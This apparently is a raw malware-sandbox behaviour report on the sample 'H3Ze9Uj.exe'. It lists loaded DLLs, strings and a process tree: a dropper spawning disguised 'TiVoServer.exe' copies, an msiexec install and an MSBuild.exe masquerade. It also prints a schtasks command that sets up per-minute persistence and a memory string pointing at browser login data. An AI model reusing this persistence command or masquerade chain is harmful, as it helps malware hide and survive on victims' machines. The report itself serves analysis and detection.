Source: C:\Users\user\Desktop\H3Ze9Uj.exe	Command line argument: comres.dll	0_2_00D21070
Source: C:\Users\user\Desktop\H3Ze9Uj.exe	Command line argument: clbcatq.dll	0_2_00D21070
Source: C:\Users\user\Desktop\H3Ze9Uj.exe	Command line argument: msasn1.dll	0_2_00D21070
Source: C:\Users\user\Desktop\H3Ze9Uj.exe	Command line argument: crypt32.dll	0_2_00D21070
Source: C:\Users\user\Desktop\H3Ze9Uj.exe	Command line argument: feclient.dll	0_2_00D21070
Source: C:\Users\user\Desktop\H3Ze9Uj.exe	Command line argument: cabinet.dll	0_2_00D21070
Source: C:\Windows\Temp\{3345D0B7-B6EF-4E6B-BC68-F20FEDB82AB9}\.cr\H3Ze9Uj.exe	Command line argument: cabinet.dll	2_2_00D41070
Source: C:\Windows\Temp\{3345D0B7-B6EF-4E6B-BC68-F20FEDB82AB9}\.cr\H3Ze9Uj.exe	Command line argument: msi.dll	2_2_00D41070
Source: C:\Windows\Temp\{3345D0B7-B6EF-4E6B-BC68-F20FEDB82AB9}\.cr\H3Ze9Uj.exe	Command line argument: version.dll	2_2_00D41070
Source: C:\Windows\Temp\{3345D0B7-B6EF-4E6B-BC68-F20FEDB82AB9}\.cr\H3Ze9Uj.exe	Command line argument: wininet.dll	2_2_00D41070
Source: C:\Windows\Temp\{3345D0B7-B6EF-4E6B-BC68-F20FEDB82AB9}\.cr\H3Ze9Uj.exe	Command line argument: comres.dll	2_2_00D41070
Source: C:\Windows\Temp\{3345D0B7-B6EF-4E6B-BC68-F20FEDB82AB9}\.cr\H3Ze9Uj.exe	Command line argument: clbcatq.dll	2_2_00D41070
Source: C:\Windows\Temp\{3345D0B7-B6EF-4E6B-BC68-F20FEDB82AB9}\.cr\H3Ze9Uj.exe	Command line argument: msasn1.dll	2_2_00D41070
Source: C:\Windows\Temp\{3345D0B7-B6EF-4E6B-BC68-F20FEDB82AB9}\.cr\H3Ze9Uj.exe	Command line argument: crypt32.dll	2_2_00D41070
Source: C:\Windows\Temp\{3345D0B7-B6EF-4E6B-BC68-F20FEDB82AB9}\.cr\H3Ze9Uj.exe	Command line argument: feclient.dll	2_2_00D41070
Source: C:\Windows\Temp\{3345D0B7-B6EF-4E6B-BC68-F20FEDB82AB9}\.cr\H3Ze9Uj.exe	Command line argument: cabinet.dll	2_2_00D41070

Source: H3Ze9Uj.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\AppData\Local\Temp\Toolpatch_dbg.exe

System information queried: HandleInformation

Source: C:\Windows\SysWOW64\cmd.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\H3Ze9Uj.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: Toolpatch_dbg.exe, 00000009.00000003.1837146144.0000000002E36000.00000004.00000001.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: H3Ze9Uj.exe	String found in binary or memory: Failed to re-launch bundle process after RunOnce: %ls
Source: H3Ze9Uj.exe	String found in binary or memory: Failed to re-launch bundle process after RunOnce: %ls
Source: H3Ze9Uj.exe	String found in binary or memory: -------Start find symbol reference test--------
Source: H3Ze9Uj.exe	String found in binary or memory: </Stop>
Source: H3Ze9Uj.exe	String found in binary or memory: </Stop>
Source: H3Ze9Uj.exe	String found in binary or memory: -------Start locate symbol test--------
Source: H3Ze9Uj.exe	String found in binary or memory: -------Start rename symbol validation test--------
Source: H3Ze9Uj.exe	String found in binary or memory: -------Start ENC rude edit parse tree compare test--------
Source: H3Ze9Uj.exe	String found in binary or memory: -------Start intellisense test--------

Source: C:\Users\user\Desktop\H3Ze9Uj.exe

File read: C:\Users\user\Desktop\H3Ze9Uj.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\H3Ze9Uj.exe "C:\Users\user\Desktop\H3Ze9Uj.exe"
Source: C:\Users\user\Desktop\H3Ze9Uj.exe	Process created: C:\Windows\Temp\{3345D0B7-B6EF-4E6B-BC68-F20FEDB82AB9}\.cr\H3Ze9Uj.exe "C:\Windows\Temp\{3345D0B7-B6EF-4E6B-BC68-F20FEDB82AB9}\.cr\H3Ze9Uj.exe" -burn.clean.room="C:\Users\user\Desktop\H3Ze9Uj.exe" -burn.filehandle.attached=516 -burn.filehandle.self=524
Source: C:\Windows\Temp\{3345D0B7-B6EF-4E6B-BC68-F20FEDB82AB9}\.cr\H3Ze9Uj.exe	Process created: C:\Windows\Temp\{84976FE6-0933-4035-BB6F-13D2EA2641B4}\.ba\TiVoServer.exe C:\Windows\Temp\{84976FE6-0933-4035-BB6F-13D2EA2641B4}\.ba\TiVoServer.exe
Source: C:\Windows\Temp\{84976FE6-0933-4035-BB6F-13D2EA2641B4}\.ba\TiVoServer.exe	Process created: C:\Users\user\AppData\Roaming\Servicewriter\TiVoServer.exe C:\Users\user\AppData\Roaming\Servicewriter\TiVoServer.exe
Source: C:\Users\user\AppData\Roaming\Servicewriter\TiVoServer.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\cmd.exe
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\Toolpatch_dbg.exe C:\Users\user~1\AppData\Local\Temp\Toolpatch_dbg.exe
Source: unknown	Process created: C:\Users\user\AppData\Roaming\Servicewriter\TiVoServer.exe "C:\Users\user\AppData\Roaming\Servicewriter\TiVoServer.exe"
Source: C:\Users\user\AppData\Roaming\Servicewriter\TiVoServer.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\cmd.exe
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\Toolpatch_dbg.exe	Process created: C:\Windows\System32\msiexec.exe "C:\Windows\System32\msiexec.exe" /i "C:\Users\user~1\AppData\Local\Temp\lfUvtjimgsGKBWR49nUj0fLf3ZU.msi"
Source: unknown	Process created: C:\Windows\System32\msiexec.exe C:\Windows\system32\msiexec.exe /V
Source: C:\Windows\System32\msiexec.exe	Process created: C:\Users\user\AppData\Local\Sprit\TiVoServer.exe "C:\Users\user\AppData\Local\Sprit\TiVoServer.exe"
Source: C:\Users\user\AppData\Local\Temp\Toolpatch_dbg.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --profile-directory="Default"
Source: C:\Users\user\AppData\Local\Sprit\TiVoServer.exe	Process created: C:\Users\user\AppData\Roaming\Patchsystemv3\TiVoServer.exe C:\Users\user\AppData\Roaming\Patchsystemv3\TiVoServer.exe
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\Toolpatch_dbg.exe C:\Users\user~1\AppData\Local\Temp\Toolpatch_dbg.exe
Source: C:\Users\user\AppData\Roaming\Patchsystemv3\TiVoServer.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\cmd.exe
Source: unknown	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --profile-directory=Default --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2168 --field-trial-handle=2136,i,4651123646714982259,14821907297481280716,262144 /prefetch:3
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2520 --field-trial-handle=2496,i,4521931903728861667,7688724464100039987,262144 /prefetch:3
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6960 --field-trial-handle=2496,i,4521931903728861667,7688724464100039987,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=6984 --field-trial-handle=2496,i,4521931903728861667,7688724464100039987,262144 /prefetch:8
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
Source: C:\Users\user\AppData\Local\Temp\Toolpatch_dbg.exe	Process created: C:\Windows\System32\msiexec.exe "C:\Windows\System32\msiexec.exe" /i "C:\Users\user~1\AppData\Local\Temp\lfUvtjimgsGKBWR49nUj0fLf3ZU.msi"
Source: C:\Windows\System32\msiexec.exe	Process created: C:\Users\user\AppData\Local\Sprit\TiVoServer.exe "C:\Users\user\AppData\Local\Sprit\TiVoServer.exe"
Source: C:\Users\user\AppData\Local\Sprit\TiVoServer.exe	Process created: C:\Users\user\AppData\Roaming\Patchsystemv3\TiVoServer.exe C:\Users\user\AppData\Roaming\Patchsystemv3\TiVoServer.exe
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /create /f /sc minute /mo 1 /tn "MSBuild" /tr "C:\Users\user\AppData\Roaming\MSBuild.exe"
Source: C:\Windows\SysWOW64\schtasks.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Users\user\AppData\Roaming\MSBuild.exe C:\Users\user\AppData\Roaming\MSBuild.exe
Source: C:\Users\user\AppData\Roaming\Patchsystemv3\TiVoServer.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\cmd.exe
Source: C:\Users\user\AppData\Roaming\MSBuild.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Users\user\AppData\Roaming\MSBuild.exe "C:\Users\user\AppData\Roaming\MSBuild.exe"
Source: C:\Users\user\AppData\Roaming\MSBuild.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Users\user\AppData\Roaming\MSBuild.exe C:\Users\user\AppData\Roaming\MSBuild.exe
Source: C:\Users\user\AppData\Roaming\MSBuild.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Users\user\AppData\Roaming\MSBuild.exe "C:\Users\user\AppData\Roaming\MSBuild.exe"
Source: C:\Users\user\AppData\Roaming\MSBuild.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
Source: unknown	Process created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MSBuild.exe "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MSBuild.exe"
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MSBuild.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=2256 --field-trial-handle=2496,i,4521931903728861667,7688724464100039987,262144 /prefetch:8
Source: C:\Users\user\Desktop\H3Ze9Uj.exe	Process created: C:\Windows\Temp\{3345D0B7-B6EF-4E6B-BC68-F20FEDB82AB9}\.cr\H3Ze9Uj.exe "C:\Windows\Temp\{3345D0B7-B6EF-4E6B-BC68-F20FEDB82AB9}\.cr\H3Ze9Uj.exe" -burn.clean.room="C:\Users\user\Desktop\H3Ze9Uj.exe" -burn.filehandle.attached=516 -burn.filehandle.self=524	Jump to behavior
Source: C:\Windows\Temp\{3345D0B7-B6EF-4E6B-BC68-F20FEDB82AB9}\.cr\H3Ze9Uj.exe	Process created: C:\Windows\Temp\{84976FE6-0933-4035-BB6F-13D2EA2641B4}\.ba\TiVoServer.exe C:\Windows\Temp\{84976FE6-0933-4035-BB6F-13D2EA2641B4}\.ba\TiVoServer.exe	Jump to behavior
Source: C:\Windows\Temp\{84976FE6-0933-4035-BB6F-13D2EA2641B4}\.ba\TiVoServer.exe	Process created: C:\Users\user\AppData\Roaming\Servicewriter\TiVoServer.exe C:\Users\user\AppData\Roaming\Servicewriter\TiVoServer.exe	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Servicewriter\TiVoServer.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\cmd.exe	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\Toolpatch_dbg.exe C:\Users\user~1\AppData\Local\Temp\Toolpatch_dbg.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Toolpatch_dbg.exe	Process created: C:\Windows\System32\msiexec.exe "C:\Windows\System32\msiexec.exe" /i "C:\Users\user~1\AppData\Local\Temp\lfUvtjimgsGKBWR49nUj0fLf3ZU.msi"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Toolpatch_dbg.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --profile-directory="Default"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Servicewriter\TiVoServer.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\cmd.exe	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\Toolpatch_dbg.exe C:\Users\user~1\AppData\Local\Temp\Toolpatch_dbg.exe	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process created: C:\Users\user\AppData\Local\Sprit\TiVoServer.exe "C:\Users\user\AppData\Local\Sprit\TiVoServer.exe"
Source: C:\Windows\System32\msiexec.exe	Process created: C:\Users\user\AppData\Local\Sprit\TiVoServer.exe "C:\Users\user\AppData\Local\Sprit\TiVoServer.exe"
Source: C:\Users\user\AppData\Local\Sprit\TiVoServer.exe	Process created: C:\Users\user\AppData\Roaming\Patchsystemv3\TiVoServer.exe C:\Users\user\AppData\Roaming\Patchsystemv3\TiVoServer.exe
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2168 --field-trial-handle=2136,i,4651123646714982259,14821907297481280716,262144 /prefetch:3
Source: C:\Users\user\AppData\Roaming\Patchsystemv3\TiVoServer.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\cmd.exe
Source: C:\Users\user\AppData\Local\Temp\Toolpatch_dbg.exe	Process created: C:\Windows\System32\msiexec.exe "C:\Windows\System32\msiexec.exe" /i "C:\Users\user~1\AppData\Local\Temp\lfUvtjimgsGKBWR49nUj0fLf3ZU.msi"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2520 --field-trial-handle=2496,i,4521931903728861667,7688724464100039987,262144 /prefetch:3
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6960 --field-trial-handle=2496,i,4521931903728861667,7688724464100039987,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=6984 --field-trial-handle=2496,i,4521931903728861667,7688724464100039987,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=2256 --field-trial-handle=2496,i,4521931903728861667,7688724464100039987,262144 /prefetch:8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /create /f /sc minute /mo 1 /tn "MSBuild" /tr "C:\Users\user\AppData\Roaming\MSBuild.exe"
Source: C:\Users\user\AppData\Local\Sprit\TiVoServer.exe	Process created: C:\Users\user\AppData\Roaming\Patchsystemv3\TiVoServer.exe C:\Users\user\AppData\Roaming\Patchsystemv3\TiVoServer.exe
Source: C:\Users\user\AppData\Roaming\Patchsystemv3\TiVoServer.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\cmd.exe
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Source: C:\Users\user\Desktop\H3Ze9Uj.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\H3Ze9Uj.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\H3Ze9Uj.exe	Section loaded: msi.dll	Jump to behavior
Source: C:\Users\user\Desktop\H3Ze9Uj.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\H3Ze9Uj.exe	Section loaded: cabinet.dll	Jump to behavior
Source: C:\Users\user\Desktop\H3Ze9Uj.exe	Section loaded: msxml3.dll	Jump to behavior
Source: C:\Users\user\Desktop\H3Ze9Uj.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\H3Ze9Uj.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\H3Ze9Uj.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\H3Ze9Uj.exe	Section loaded: feclient.dll	Jump to behavior
Source: C:\Users\user\Desktop\H3Ze9Uj.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\H3Ze9Uj.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\Temp\{3345D0B7-B6EF-4E6B-BC68-F20FEDB82AB9}\.cr\H3Ze9Uj.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\Temp\{3345D0B7-B6EF-4E6B-BC68-F20FEDB82AB9}\.cr\H3Ze9Uj.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\Temp\{3345D0B7-B6EF-4E6B-BC68-F20FEDB82AB9}\.cr\H3Ze9Uj.exe	Section loaded: msi.dll	Jump to behavior
Source: C:\Windows\Temp\{3345D0B7-B6EF-4E6B-BC68-F20FEDB82AB9}\.cr\H3Ze9Uj.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\Temp\{3345D0B7-B6EF-4E6B-BC68-F20FEDB82AB9}\.cr\H3Ze9Uj.exe	Section loaded: cabinet.dll	Jump to behavior
Source: C:\Windows\Temp\{3345D0B7-B6EF-4E6B-BC68-F20FEDB82AB9}\.cr\H3Ze9Uj.exe	Section loaded: msxml3.dll	Jump to behavior
Source: C:\Windows\Temp\{3345D0B7-B6EF-4E6B-BC68-F20FEDB82AB9}\.cr\H3Ze9Uj.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\Temp\{3345D0B7-B6EF-4E6B-BC68-F20FEDB82AB9}\.cr\H3Ze9Uj.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\Temp\{3345D0B7-B6EF-4E6B-BC68-F20FEDB82AB9}\.cr\H3Ze9Uj.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\Temp\{3345D0B7-B6EF-4E6B-BC68-F20FEDB82AB9}\.cr\H3Ze9Uj.exe	Section loaded: feclient.dll	Jump to behavior
Source: C:\Windows\Temp\{3345D0B7-B6EF-4E6B-BC68-F20FEDB82AB9}\.cr\H3Ze9Uj.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\Temp\{3345D0B7-B6EF-4E6B-BC68-F20FEDB82AB9}\.cr\H3Ze9Uj.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\Temp\{3345D0B7-B6EF-4E6B-BC68-F20FEDB82AB9}\.cr\H3Ze9Uj.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Windows\Temp\{3345D0B7-B6EF-4E6B-BC68-F20FEDB82AB9}\.cr\H3Ze9Uj.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Windows\Temp\{3345D0B7-B6EF-4E6B-BC68-F20FEDB82AB9}\.cr\H3Ze9Uj.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\Temp\{3345D0B7-B6EF-4E6B-BC68-F20FEDB82AB9}\.cr\H3Ze9Uj.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\Temp\{3345D0B7-B6EF-4E6B-BC68-F20FEDB82AB9}\.cr\H3Ze9Uj.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\Temp\{3345D0B7-B6EF-4E6B-BC68-F20FEDB82AB9}\.cr\H3Ze9Uj.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\Temp\{3345D0B7-B6EF-4E6B-BC68-F20FEDB82AB9}\.cr\H3Ze9Uj.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\Temp\{3345D0B7-B6EF-4E6B-BC68-F20FEDB82AB9}\.cr\H3Ze9Uj.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\Temp\{3345D0B7-B6EF-4E6B-BC68-F20FEDB82AB9}\.cr\H3Ze9Uj.exe	Section loaded: msimg32.dll	Jump to behavior
Source: C:\Windows\Temp\{3345D0B7-B6EF-4E6B-BC68-F20FEDB82AB9}\.cr\H3Ze9Uj.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\Temp\{84976FE6-0933-4035-BB6F-13D2EA2641B4}\.ba\TiVoServer.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\Temp\{84976FE6-0933-4035-BB6F-13D2EA2641B4}\.ba\TiVoServer.exe	Section loaded: borlndmm.dll	Jump to behavior
Source: C:\Windows\Temp\{84976FE6-0933-4035-BB6F-13D2EA2641B4}\.ba\TiVoServer.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\Temp\{84976FE6-0933-4035-BB6F-13D2EA2641B4}\.ba\TiVoServer.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Windows\Temp\{84976FE6-0933-4035-BB6F-13D2EA2641B4}\.ba\TiVoServer.exe	Section loaded: wspconfig.dll	Jump to behavior
Source: C:\Windows\Temp\{84976FE6-0933-4035-BB6F-13D2EA2641B4}\.ba\TiVoServer.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\Temp\{84976FE6-0933-4035-BB6F-13D2EA2641B4}\.ba\TiVoServer.exe	Section loaded: mindclient.dll	Jump to behavior
Source: C:\Windows\Temp\{84976FE6-0933-4035-BB6F-13D2EA2641B4}\.ba\TiVoServer.exe	Section loaded: libglib-2.0-0.dll	Jump to behavior
Source: C:\Windows\Temp\{84976FE6-0933-4035-BB6F-13D2EA2641B4}\.ba\TiVoServer.exe	Section loaded: loudmouth.dll	Jump to behavior
Source: C:\Windows\Temp\{84976FE6-0933-4035-BB6F-13D2EA2641B4}\.ba\TiVoServer.exe	Section loaded: msi.dll	Jump to behavior
